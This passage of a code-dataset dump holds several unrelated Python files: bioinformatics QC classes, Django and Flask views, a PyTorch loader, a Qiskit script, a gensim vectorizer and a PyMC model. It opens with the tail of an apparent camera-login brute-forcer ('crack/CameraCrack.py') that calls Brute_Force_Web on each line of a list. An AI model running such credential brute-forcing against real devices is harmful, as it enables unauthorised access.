Brute_Force_Web(line.strip())\n","sub_path":"crack/CameraCrack.py","file_name":"CameraCrack.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"348109494","text":"#/usr/bin/python\n\n# Here we will get a task --> definition data frame, and convert to json\nfrom cognitiveatlas import views,template\n\ncogat_json = \"/home/vanessa/Desktop/cognitiveatlas_tasks.json\"\ntask_list = views.create_contrast_task_definition_json() # default will include tasks with no contrasts defined\ntask_list = views.create_contrast_task_definition_json(only_with_contrast=True) # only include tasks with contrasts defined\ntemplate.save_text(task_list,cogat_json)\n\n# Now we will generate an html snippet (eg, to embed into a django crispy form)\ndjango_field = \"contrast_definition_cogatlas\"\nhtml_snippet = views.contrast_selector_django_crispy_form(django_field=django_field,include_bootstrap=False,from_file=cogat_json)    \n","sub_path":"api-python/examples/get_task_definition_json.py","file_name":"get_task_definition_json.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"232944606","text":"from collections import defaultdict\nimport numpy as np\nimport os\nimport re\nimport zipfile\n\nclass FastqcBasicStatistics:\n    def __init__(self, rec, key):\n        self.title = key\n        self.gc_content = float(rec['%GC'])\n        self.seqlen_range = rec['Sequence length']\n        self.file_type = rec['File type']\n        self.total_seq = int(rec['Total Sequences'])\n        self.encoding = rec['Encoding']\n        self.file_name = rec['Filename']\n        seqlen = list(map(lambda v: int(v), self.seqlen_range.split('-')))\n        self.seqlen_max = max(seqlen)\n\nclass FastqcBasicTable:\n    def __init__(self, rec, key, x, y):\n        self.title = key\n        self.xname = x\n        self.yname = y\n        self.x = list(map(lambda v: np.mean(list(map(lambda vv: int(vv), v.split('-')))), rec[x]))\n        self.y = list(map(lambda v: float(v), rec[y]))\n\nclass FastqcStats:\n    def __init__(self, fzip):\n        self.fzip = fzip\n        self.basic_info = None\n        self.base_qual = None\n        self.qual = None\n        self.gc = None\n        self.seqlen = None\n        self.__set(fzip)\n\n    def __set(self, fzip):\n        for key, rec in self.__each_data(fzip):\n            if key == 'Basic Statistics':\n                self.basic_info = FastqcBasicStatistics(rec, key)\n            elif key == 'Per base sequence quality':\n                self.base_qual = FastqcBasicTable(rec, key, 'Base', 'Mean')\n            elif key == 'Per sequence quality scores':\n                self.qual = FastqcBasicTable(rec, key, 'Quality', 'Count')\n            elif key == 'Per sequence GC content':\n                self.gc = FastqcBasicTable(rec, key, 'GC Content', 'Count')\n            elif key == 'Sequence Length Distribution':\n                self.seqlen = FastqcBasicTable(rec, key, 'Length', 'Count')\n\n    def __each_data(self, fzip, fdat='fastqc_data.txt'):\n        with zipfile.ZipFile(fzip, 'r') as zf:\n            flst = zf.namelist()\n            for f in filter(lambda f: os.path.basename(f) == fdat, flst):\n                with zf.open(f) as fh:\n                    key = None; data = []; header = []\n                    for line in fh:\n                        line = line.decode('utf-8').rstrip()\n                        m = re.match('>>(.+?)\\t', line)\n                        if m is not None:\n                            key = m.group(1)\n                            continue\n                        m = re.match('#', line)\n                        if m is not None:\n                            header = line.replace('#', '').split('\\t')\n                            continue\n                        m = re.match('>>END_MODULE', line)\n                        if m is not None:\n                            rec = {}\n                            if key == 'Basic Statistics':\n                                for v in data:\n                                    rec[v[0]] = v[1]\n                            else:\n                                tdata = list(zip(*data))\n                                for i, h in enumerate(header):\n                                    rec[h] = tdata[i]\n                            yield(key, rec)\n                            key = None; data = []; header = []\n                            continue\n                        data.append(line.split('\\t'))\n\nclass BamMisInDel:\n    def __init__(self, bam):\n        self.n_mis = 0\n        self.n_ins = 0\n        self.n_del = 0\n        self.pos_mis = {}\n        self.pos_ins = {}\n        self.pos_del = {}\n        self.__parse(bam)\n\n    def __parse(self, bam):\n        aln = bam.get_aligned_pairs(with_seq=True)\n        qidx = 0\n        for i in range(bam.qstart, bam.qend):\n            v = aln[i]\n            if v[2] is not None and v[2].islower():\n                self.pos_mis[v[0]] = 1\n            elif v[1] is None:\n                self.pos_ins[v[0]] = 1\n            elif v[0] is None and v[2] is not None:\n                self.pos_del[qidx] = 1\n            if v[0] is not None:\n                qidx = v[0]\n        self.n_mis = len(self.pos_mis.keys())\n        self.n_ins = len(self.pos_ins.keys())\n        self.n_del = len(self.pos_del.keys())\n\nclass BamMisInDelHist:\n    def __init__(self):\n        self.data = defaultdict(int)\n\n    def add(self, val):\n        self.data[val] += 1\n\n    def x(self):\n        return sorted(self.data.keys())\n\n    def y(self):\n        return list(map(lambda k: self.data[k], self.x()))\n\nclass BamMisInDelPos:\n    def __init__(self):\n        self.data = defaultdict(int)\n\n    def add(self, d):\n        for k, v in d.items():\n            self.data[k] += 1\n\n    def x(self):\n        return sorted(self.data.keys())\n\n    def y(self):\n        return list(map(lambda k: self.data[k], self.x()))\n\n","sub_path":"rnaseq-pipeline-4.0.2/lib/Qc.py","file_name":"Qc.py","file_ext":"py","file_size_in_byte":4690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"77339738","text":"from django.urls import path\nfrom .views import add_to_donations, adjust_donations, charities, propose_charity, delete_charity, view_donations\n\nurlpatterns = [\n    path('charities', charities, name=\"charities\"),                             ## charities\n    path('propose_charity/', propose_charity, name='propose_charity'),          ## add new charity\n    path('delete_charity/<int:pk>', delete_charity, name='delete_charity'),     ## delete charity\n    path('support/<id>', add_to_donations, name=\"add_to_donations\"),            ## donate \n    path('adjust/<id>', adjust_donations, name=\"adjust_donations\"),             ## remove charity from user donation list\n    path('view_donations', view_donations, name=\"view_donations\")               ## user's chosen donation\n    ]","sub_path":"charity_choice/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"642998670","text":"from rest_framework.urlpatterns import format_suffix_patterns\n\nfrom django.urls import re_path\n\nfrom api.bookmarks import views as bookmark_views\nfrom api.experiments import views\nfrom constants.urls import (\n    EXPERIMENT_ID_PATTERN,\n    ID_PATTERN,\n    NAME_PATTERN,\n    USERNAME_PATTERN,\n    UUID_PATTERN\n)\n\nexperiments_urlpatterns = [\n    # Get all experiments\n    re_path(r'^experiments/?$', views.ExperimentListView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/?$'.format(USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n            views.ExperimentDetailView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/restart/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n        views.ExperimentRestartView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/resume/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n        views.ExperimentResumeView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/copy/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n        views.ExperimentCopyView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/coderef/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n        views.ExperimentCodeReferenceView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/statuses/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, EXPERIMENT_ID_PATTERN),\n        views.ExperimentStatusListView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/metrics/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, EXPERIMENT_ID_PATTERN),\n        views.ExperimentMetricListView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/statuses/{}/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, EXPERIMENT_ID_PATTERN, UUID_PATTERN),\n        views.ExperimentStatusDetailView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/jobs/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, EXPERIMENT_ID_PATTERN),\n        views.ExperimentJobListView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/logs/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, EXPERIMENT_ID_PATTERN),\n        views.ExperimentLogsView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/stop/?$'.format(USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n            views.ExperimentStopView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/outputs/?$'.format(USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n            views.DownloadOutputsView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/bookmark/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n        bookmark_views.ExperimentBookmarkCreateView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/unbookmark/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n        bookmark_views.ExperimentBookmarkDeleteView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/token/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, ID_PATTERN),\n        views.ExperimentScopeTokenView.as_view()),\n]\n\njobs_urlpatterns = [\n    re_path(r'^{}/{}/experiments/{}/jobs/{}/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, EXPERIMENT_ID_PATTERN, ID_PATTERN),\n        views.ExperimentJobDetailView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/jobs/{}/statuses/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, EXPERIMENT_ID_PATTERN, ID_PATTERN),\n        views.ExperimentJobStatusListView.as_view()),\n    re_path(r'^{}/{}/experiments/{}/jobs/{}/statuses/{}/?$'.format(\n        USERNAME_PATTERN, NAME_PATTERN, EXPERIMENT_ID_PATTERN, ID_PATTERN,\n        UUID_PATTERN),\n        views.ExperimentJobStatusDetailView.as_view()),\n]\n\nurlpatterns = format_suffix_patterns(experiments_urlpatterns + jobs_urlpatterns)\n","sub_path":"polyaxon/api/experiments/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"376215074","text":"'''\nSchema of stimulation information.\n'''\n\nimport datajoint as dj\n\nfrom . import acquisition, analysis\n\nschema = dj.schema(dj.config['custom'].get('database.prefix', '') + 'stimulation')\n\n\n@schema\nclass PhotoStimDevice(dj.Lookup):\n    definition = \"\"\" # Information about the devices used for photo stimulation\n    device_name: varchar(32)\n    ---\n    device_desc = \"\": varchar(1024)\n    \"\"\"   \n    \n\n@schema\nclass PhotoStimulationProtocol(dj.Manual):\n    definition = \"\"\"\n    protocol: varchar(16)\n    ---\n    -> PhotoStimDevice\n    photo_stim_excitation_lambda: decimal(6,2)    # (nm) excitation wavelength\n    photo_stim_method = 'laser' : enum('fiber', 'laser')\n    photo_stim_duration = null:                float        # (ms), stimulus duration\n    photo_stim_shape = '':                   varchar(24)  # shape of photostim, cosine or pulsive\n    photo_stim_freq = null:                    float        # (Hz), frequency of photostimulation\n    photo_stim_notes = '':                varchar(1024)\n    \"\"\"\n\n\n@schema\nclass PhotoStimulation(dj.Manual):\n    definition = \"\"\"  #  Photostimulus profile used for stimulation in this session\n    -> acquisition.Session\n    photostim_datetime: datetime # the time of performing this stimulation with respect to start time of the session, in the scenario of multiple stimulations per session\n    ---\n    -> reference.ActionLocation\n    -> PhotoStimulationProtocol\n    photostim_timeseries=null: longblob  # (mW)\n    photostim_start_time=null: float  # (s) first timepoint of photostim recording\n    photostim_sampling_rate=null: float  # (Hz) sampling rate of photostim recording\n    \"\"\"\n\n\n@schema\nclass TrialPhotoStimInfo(dj.Imported):\n    definition = \"\"\" # information related to the stimulation settings for this trial\n    -> acquisition.TrialSet.Trial\n    ---\n    photo_stim_period: enum('sample','early delay', 'late delay','response','N/A')\n    photo_stim_power=null: float  # (mW) stimulation power \n    \"\"\"\n\n    def make(self, key):\n        # this function implements the ingestion of Trial stim info into the pipeline\n        return None\n\n\n@schema\nclass TrialSegmentedPhotoStimulus(dj.Computed):\n    definition = \"\"\"\n    -> PhotoStimulation\n    -> acquisition.TrialSet.Trial\n    -> analysis.TrialSegmentationSetting\n    ---\n    segmented_photostim: longblob\n    \"\"\"\n\n    # custom key_source where acquisition.PhotoStimulation.photostim_timeseries exist\n    key_source = acquisition.TrialSet.Trial * analysis.TrialSegmentationSetting * (\n                PhotoStimulation - 'photostim_timeseries is NULL')\n\n    def make(self, key):\n        # get event, pre/post stim duration\n        event_name, pre_stim_dur, post_stim_dur = (analysis.TrialSegmentationSetting & key).fetch1(\n            'event', 'pre_stim_duration', 'post_stim_duration')\n        # get raw\n        fs, first_time_point, photostim_timeseries = (PhotoStimulation & key).fetch1(\n            'photostim_sampling_rate', 'photostim_start_time', 'photostim_timeseries')\n        # segmentation\n        try:\n            key['segmented_photostim'] = analysis.perform_trial_segmentation(key, event_name, pre_stim_dur,\n                                                                             post_stim_dur, photostim_timeseries,\n                                                                             fs, first_time_point)[0]\n        except analysis.EventChoiceError as e:\n            print(f'Trial segmentation error - Msg: {str(e)}')\n            return\n\n        self.insert1(key)\n        print(f'Perform trial-segmentation of photostim for trial: {key[\"trial_id\"]}')\n","sub_path":"000013/DataJoint/DJ-NWB-Hires-Gutnisky-2015/pipeline/stimulation.py","file_name":"stimulation.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"432485280","text":"import torch\r\nimport os\r\nimport cv2\r\nimport numpy as np\r\nimport torch.utils.data\r\nfrom torch.utils.data import DataLoader\r\nimport matplotlib.pyplot as plt\r\n\r\n# process single channel, like gray image\r\n#from .pre_DUNet import my_preprocess\r\n#from .pre_hiera import my_preprocess\r\n#from .pre_anotation import my_preprocess\r\n\r\n#train_dir_path = '../dataset_transfer/DRIVE/train/'\r\n#test_dir_path = '../dataset_transfer/DRIVE/test'\r\n\r\nclass MyImageItem(torch.utils.data.Dataset):\r\n    def __init__(self, train_dir_path):\r\n        self.train_dir = train_dir_path\r\n        self.train_imgs_basename = os.listdir(os.path.join(self.train_dir, 'images'))\r\n        self.train_labels_basename = os.listdir(os.path.join(self.train_dir, 'labels'))\r\n\r\n    def __len__(self):\r\n        return len(self.train_imgs_basename)\r\n\r\n    def __getitem__(self, item):\r\n        #assert self.train_imgs_basename != self.train_labels_basename\r\n        \r\n        num_patches = 20\r\n        patch_size = 48\r\n        \r\n        img_name = self.train_imgs_basename[item]\r\n        label_name = self.train_imgs_basename[item]\r\n\r\n        img = cv2.imread(os.path.join(self.train_dir,'images',img_name))[..., 0]\r\n        #print(img_name)\r\n        #img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)# transfer to RGB\r\n        label = cv2.imread(os.path.join(self.train_dir,'labels',label_name))[..., 0]\r\n        \r\n        img_norm = img/255\r\n\r\n        label[label>0] = 1.0\r\n\r\n        return img_norm, label\r\n\r\ndef extract_whole_patches(img, patch_size=48):\r\n    w_size, h_size = img.shape[0], img.shape[1]\r\n    w_num, h_num = w_size//patch_size, h_size//patch_size\r\n    \r\n    img_zeros = np.zeros([(w_num+1)*patch_size, (h_num+1)*patch_size])\r\n    img_zeros[:w_size, :h_size] = img\r\n    \r\n    img_patches = []\r\n    for i in range(w_num+1):\r\n        for j in range(h_num+1):\r\n            crop_patch = img_zeros[i*patch_size:(i+1)*patch_size, j*patch_size:(j+1)*patch_size]\r\n            img_patches.append(crop_patch)\r\n    img_patches = np.reshape(img_patches, [-1, patch_size, patch_size])\r\n    return img_patches\r\n    \r\n\r\nclass MyTestItem(torch.utils.data.Dataset):    \r\n    def __init__(self, test_dir_path):\r\n        self.test_dir = test_dir_path\r\n        self.test_imgs_basename = os.listdir(os.path.join(self.test_dir, 'images'))\r\n        #self.test_labels_basename = os.listdir(os.path.join(self.train_dir, 'labels'))\r\n\r\n    def __len__(self):\r\n        return len(self.test_imgs_basename)\r\n\r\n    def __getitem__(self, item):\r\n        #assert self.train_imgs_basename != self.train_labels_basename\r\n        img_name = self.test_imgs_basename[item]\r\n        \r\n        img = cv2.imread(os.path.join(self.test_dir, 'images', img_name))[..., 0]\r\n        #img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)#transfer the RGB\r\n        #print(img.shape)\r\n\r\n        img_norm = img\r\n        img_patches = extract_whole_patches(img_norm)\r\n\r\n        img_patches = np.asarray(img_patches, np.float32)\r\n        img_patches_norm = img_patches / 255.\r\n\r\n        return img_patches_norm, img_name\r\n\r\n        \r\n        \r\n    \r\n\r\n#dataset_train = MyImageItem(train_dir_path)\r\n#dataloader = DataLoader(dataset_train, batch_size=4, shuffle=True)\r\n#print(os.path.exists(train_dir_path))\r\n#print(os.listdir('../'))\r\n","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"631305007","text":"from qiskit import available_backends, execute\n\nfrom ibmq.core import create_quantum_program_to_simulate_quantum_beats\n\nif __name__ == \"__main__\":\n    from qiskit import register\n    import Qconfig\n\n    register(Qconfig.APItoken, Qconfig.config[\"url\"],\n             hub=Qconfig.config[\"hub\"],\n             group=Qconfig.config[\"group\"],\n             project=Qconfig.config[\"project\"])\n\n    # circuit = create_quantum_program_to_simulate_quantum_beats(math.pi / 2)\n    w_larmor = 0.46  # 4.6e8 1/s as determined in the experiment\n    print(available_backends())\n    for t in range(0, 30):\n        circuit = create_quantum_program_to_simulate_quantum_beats(w_larmor * t)\n        if 'ibmqx4' not in available_backends():\n            raise RuntimeError(\"Can't execute the program on ibmqx4\")\n\n        # Execute on a quantum device\n        job_real = execute(circuit, \"ibmqx4\")\n        result_real = job_real.result()\n        # Execute on simulator\n        job_sim = execute(circuit, \"local_qasm_simulator\")\n        result_sim = job_sim.result()\n        singlet_sim = result_sim.get_counts(circuit).get('01', 0)\n        triplet_sim = result_sim.get_counts(circuit).get('10', 0)\n        singlet = result_real.get_counts(circuit).get('01', 0)\n        triplet = result_real.get_counts(circuit).get('10', 0)\n        state00 = result_real.get_counts(circuit).get('00', 0)\n        state11 = result_real.get_counts(circuit).get('11', 0)\n        # print(\"Result: %s, %s\" % (t, result_real))\n        print(\"%s, %s, %s, %s, %s, %s, %s\" % (t, singlet_sim, triplet_sim, singlet, triplet, state00, state11))\n","sub_path":"ibmq/quantum_beats_ibmq_ibmqx4.py","file_name":"quantum_beats_ibmq_ibmqx4.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"53202320","text":"from flask import render_template, redirect, url_for, session, flash, request\nfrom flask.ext.login import login_required, current_user\nfrom . import main\nfrom .forms import RoleForm, UserForm\nfrom ..database import db\nfrom ..models import User, Role, Post, Tag\n\n@main.route('/role', methods = ['GET', 'POST'])\ndef role():\n\tform = RoleForm()\n\tif form.validate_on_submit():\n\t\tsession['role'] = form.rolename.data\n\t\texists_role = [i.name for i in Role.query.all()]\n\t\tif session['role'] in exists_role:\n\t\t\tflash('fail: role %s is exists' % session['role'])\n\t\t\tsession['status'] = 1\n\t\telse:\n\t\t\tnew_role = Role(name=session['role'])\n\t\t\tdb.session.add(new_role)\n\t\t\tdb.session.commit()\n\t\t\tflash('succ: create role %s' % session['role'])\n\t\t\tsession['status'] = 0\n\t\t#return redirect(url_for('role'))\n\treturn render_template('role.html', form=form, name=session.get('role'), status=session.get('status'))\n\n\n@main.route('/user', methods = ['GET', 'POST'])\ndef user():\n\tform = UserForm()\n\tif form.validate_on_submit():\n\t\tsession['user'] = form.username.data\n\t\tsession['role'] = form.role.data\n\t\tsession['password'] = form.password.data\n\t\texists_user = [i.username for i in User.query.all()]\n\t\tif session['user'] in exists_user:\n\t\t\tflash('fail: user %s is exists' % session['user'])\n\t\t\tsession['status'] = 1\n\t\telse:\n\t\t\trole_id = Role.query.filter_by(name=session['role']).first().id\n\t\t\tuser = User()\n\t\t\tuser.password = session['password']\n\t\t\tnew_user = User(username=session['user'], role_id=role_id, password_hash=user.password_hash)\n\t\t\tdb.session.add(new_user)\n\t\t\tdb.session.commit()\n\t\t\tflash('succ: create user %s' % session['user'])\n\t\t\tsession['status'] = 0\n\t\t#return redirect(url_for('user'))\n\treturn render_template('user.html', form=form, name=session.get('user'), status=session.get('status'))\n\n@main.route('/')\ndef index():\n\tposts = Post.query.all()\n\tpage = request.args.get('page')\n\tif not page:\n\t\tpage = 1\n\telse:\n\t\tpage = int(page)\n\ttotal = len(posts)\n\tper_page = 1\n\tmax_page = total/per_page if total%per_page == 0 else total/per_page+1\n\tif page > max_page:\n\t\tpage = max_page\n\tif page*per_page < total:\n\t\tposts = posts[(page-1)*per_page: page*per_page]\n\telse:\n\t\tposts = posts[(page-1)*per_page:total]\n\treturn render_template('index.html', posts=posts, page=page, max_page=max_page)\n\n# @main.route('/tag')\n# def tag():\n# \tdata = []\n# \ttags = Tag.query.all()\n# \tfor i in tags:\n# \t\ttmp = {}\n# \t\ttmp['value'] = i.id\n# \t\ttmp['text'] = i.name\n# \t\ttmp['continent'] = 'tag'\n# \t\tprint tmp\n# \t\tdata.append(tmp)\n# \treturn str(data)\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"631886956","text":"import sys\nimport os\nimport argparse\nimport logging\nimport fnmatch\nfrom typing import Iterator, List, Tuple\nimport gensim\nfrom gensim import corpora\nimport boto\nimport smart_open\n\n\nCorpus = Iterator[Iterator[Tuple[int, int]]]\n\n\ndef get_tokens(infiles: List[str]) -> Iterator[str]:\n    '''Yield list of strings from each line in each file\n    Parameters\n        infiles: list of full path strings to file containing strings\n    Returns\n        list of strings with newline stripped\n    '''\n    for infile in infiles:\n        with smart_open.smart_open(infile, 'r', encoding='utf-8') as inf:\n            for line in inf:\n                yield line.strip().split()\n\n\ndef list_files(mybucket: str, prefix: str) -> List[str]:\n    '''List files in a directory in an Amazon S3 Bucket\n       Parameters\n            mybucket: name of bucket\n            prefix: directory in bucket\n        Returns\n            filepaths: list of files in bucket, prefix\n    '''\n    bucket = boto.connect_s3().get_bucket(mybucket)\n    return [key.name for key in bucket.list(prefix=prefix)]\n\n\ndef match_files(matchfiles: str,\n                allfiles: List[str], bucket: str) -> List[str]:\n    '''Match a glob filename with a list of files\n       Parameters\n            matchfiles: glob filename\n            allfiles: list of files to match\n            bucket: Amazon S3 bucket name\n        Returns\n            infiles: list of files matched\n    '''\n    logger.info('%s', 'Input Files')\n    infiles = []\n    for fname in fnmatch.filter(allfiles, matchfiles):\n        if bucket:\n            infile = '/'.join(['s3:/', bucket, fname])\n            logger.info('%s', infile)\n        else:\n            infile = '/'.join(['s3:/', fname])\n            logger.info('%s', infile)\n            path, filename = os.path.split(infile)\n        infiles.append(infile)\n    return infiles\n\n\ndef make_dict(infiles: List[str]) -> gensim.corpora.dictionary.Dictionary:\n    '''Make a gensim corpora dictionary from files of newline terminated strings.\n       Each newline terminated string is a document.\n       Parameter\n            infiles: list of filepaths\n       Returns\n            gensim corpora dictionary (mapping of integer id's to unique words)\n    '''\n    term_dict = corpora.Dictionary((tokens for tokens in get_tokens(infiles)))\n    return term_dict\n\n\ndef make_corpus(infiles: List[str],\n                term_dict: gensim.corpora.dictionary.Dictionary) -> Corpus:\n    '''Make a gensim corpus from files of newline terminated strings and\n       a gensim dictionary (made from the same files).\n       The corpus is [(word id, word count), ...] for each document.\n       Parameters\n            infiles: list of filepaths\n            term_dict: gensim corpora dictionary\n        Returns\n            Iterator used to construct corpus\n            (corpus is Iterator[Iterator[Tuple[int, int]]])\n\n    '''\n    return (term_dict.doc2bow(tokens)\n            for tokens in get_tokens(infiles))\n\n\ndef setup_logger():\n    logger = logging.getLogger(__name__)\n    logger.setLevel(logging.DEBUG)\n    fh = logging.FileHandler('../logs/nlp.log')\n    fh.setLevel(logging.DEBUG)\n    ch = logging.StreamHandler()\n    ch.setLevel(logging.INFO)\n    logstr = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n    formatter = logging.Formatter(logstr)\n    fh.setFormatter(formatter)\n    ch.setFormatter(formatter)\n    logger.addHandler(fh)\n    logger.addHandler(ch)\n    return logger\n\n\nif __name__ == '__main__':\n    description = '''Vectorize tokens\n                  '''\n    formatter_class = argparse.RawDescriptionHelpFormatter\n    parser = argparse.ArgumentParser(formatter_class=formatter_class,\n                                     description=description)\n    parser.add_argument('filename', help='glob of filenames')\n    parser.add_argument('-b', '--bucket', help='S3 Bucket Name')\n    parser.add_argument('-d', '--dictionary',\n                        help='Full Path to Dictionary File')\n    parser.add_argument('-v', '--vector',\n                        help='Full Path to Vector File')\n    args = parser.parse_args()\n    logger = setup_logger()\n    logger.info('%s%s', 'Running ', sys.argv[0])\n    allfiles = list_files('pto-us-data', 'token-text')\n    infiles = match_files(args.filename, allfiles, args.bucket)\n    term_dict = make_dict(infiles)\n    if args.dictionary:\n        with smart_open.smart_open(args.dictionary, 'wb') as fout:\n            term_dict.save(fout)\n        logger.info('%s%s', 'Corpora Dictionary File ', args.dictionary)\n    corpus = make_corpus(infiles, term_dict)\n    if args.vector:\n        corpora.MmCorpus.serialize(args.vector, corpus, id2word=term_dict)\n        logger.info('%s%s', 'Corpus MM File ', args.vector)\n","sub_path":"code/tokens2vecs.py","file_name":"tokens2vecs.py","file_ext":"py","file_size_in_byte":4701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"179596302","text":"#!/usr/bin/python3\n\n__doc__ = \"Enzyme Cost Minimization - a package for calculating the minimal enzyme cost of a metabolic pathway\"\n__version__ = '0.1.5'\n\nimport os\n\ntry:\n    import setuptools\nexcept Exception as ex:\n    print(ex)\n    os.sys.exit(-1)\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetuptools.setup(\n    name = 'enzyme-cost-minimization',\n    version=__version__,\n    description=__doc__,\n    long_description=long_description,\n    url='https://github.com/eladnoor/enzyme-cost',\n    author='Elad Noor',\n    author_email='noor@imsb.biol.ethz.ch',\n    license='MIT',\n    packages=['ecm'],\n    install_requires=[\n        'numpy>=1.15.2',\n        'scipy>=1.1.0',\n        'optlang>=1.4.3',\n        'pandas>=0.23.4',\n        'sbtab>=0.9.61',\n        'matplotlib>=3.0.0',\n        'equilibrator-api>=0.1.5',\n        ],\n    include_package_data=True,\n    classifiers=[\n        # How mature is this project? Common values are\n        #   3 - Alpha\n        #   4 - Beta\n        #   5 - Production/Stable\n        'Development Status :: 4 - Beta',\n\n        # Indicate who your project is intended for\n        'Intended Audience :: Science/Research',\n        'Topic :: Scientific/Engineering :: Chemistry',\n\n        # Pick your license as you wish (should match \"license\" above)\n        'License :: OSI Approved :: MIT License',\n\n        # Specify the Python versions you support here. In particular, ensure\n        # that you indicate whether you support Python 2, Python 3 or both.\n        'Programming Language :: Python :: 3.6',\n    ],\n)\n\n","sub_path":"pypi_install_script/enzyme-cost-minimization-0.1.5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"57066657","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSimple case\nu, Te and xc are known\nlambda_ and eps_ (the noise on Ti) are unknown, and given uniform priors\n\"\"\"\n\nfrom scipy.interpolate import interp1d\nimport numpy as np\nimport pandas as pd\n\n\"\"\" Discretisation et conditions aux limites \"\"\"\n\n# Space discretisation\nsize = 0.05\nN_nodes = 21\ndelta_x = size / (N_nodes-1)\nx = np.linspace(0, size, num=N_nodes)\n\n# Time discretisation\ntime_step = 60.\ntime_stop = 8000\ntime_ = np.arange(0., time_stop+time_step, time_step)\nN_samples = len(time_)\n\n# Initial and boundary conditions\nh_convec = 0\nT_initial = 0\nrho_cp  = 1.2e6\n\n\"\"\" Vraies valeurs des variables d'entree \"\"\"\nxc_true     = 0.05 / 2\neps_T_true  = 0.1 # bruit sur la temperature\n# eps_u_true  = 50\nlambda_true = 0.3\n# Input data : heat flow\ndata_direct = pd.read_csv('input_to_forward_problem.txt', delimiter='\\t')\ntime_direct = np.array( data_direct['t (s)'] )\nu = data_direct['U (W/m2)']\n# u += np.random.normal(0, eps_u_true, size=np.size(u))\n# Test data : measured temperature\ndata_inverse = pd.read_csv('input_to_inverse_problem.txt', delimiter='\\t')\ntime_mesure = np.array( data_inverse['t (s)'] )\nT_mesure = data_inverse['T(e/2)']\nT_mesure += np.random.normal(0, eps_T_true, size=np.size(T_mesure))\n\n\"\"\" Parametrisation des fonctions d'entree \"\"\"\n# Choix du nombre de modes\nN_modes = 20\nt_modes = np.linspace(0, time_mesure[-1], N_modes)\n# Fonctions f\ndef f_hat(t, j):\n    \n    delta_t = np.diff(t_modes).mean()\n    \n    f_rise = (t-t_modes[j-1]) / delta_t\n    f_decr = 1 - (t-t_modes[j]) / delta_t\n    \n    if j == 0:\n        is_rise = False\n    else:\n        is_rise = (t >= t_modes[j-1]) * (t <= t_modes[j])\n        \n    if j == len(t_modes)-1:\n        is_decr = False\n    else:\n        is_decr = (t >= t_modes[j]) * (t <= t_modes[j+1])\n    \n    return f_rise * is_rise + f_decr * is_decr\n\n\"\"\" Reseau bayesien \"\"\"\n\nimport pymc as pm\n\n# Prior sur le bruit qu'on suppose inconnu\neps_T_pm = pm.Uniform('noise', 0., 2.)\n# Prior sur les parametres de u\num_pm = pm.Uniform('modes',0, 1500, size=N_modes-1)\n\n# Model\nlambda_ = lambda_true\nxc      = xc_true\n@pm.deterministic\ndef temperature(um = um_pm):\n    \n    a = lambda_ / rho_cp\n    Biot = 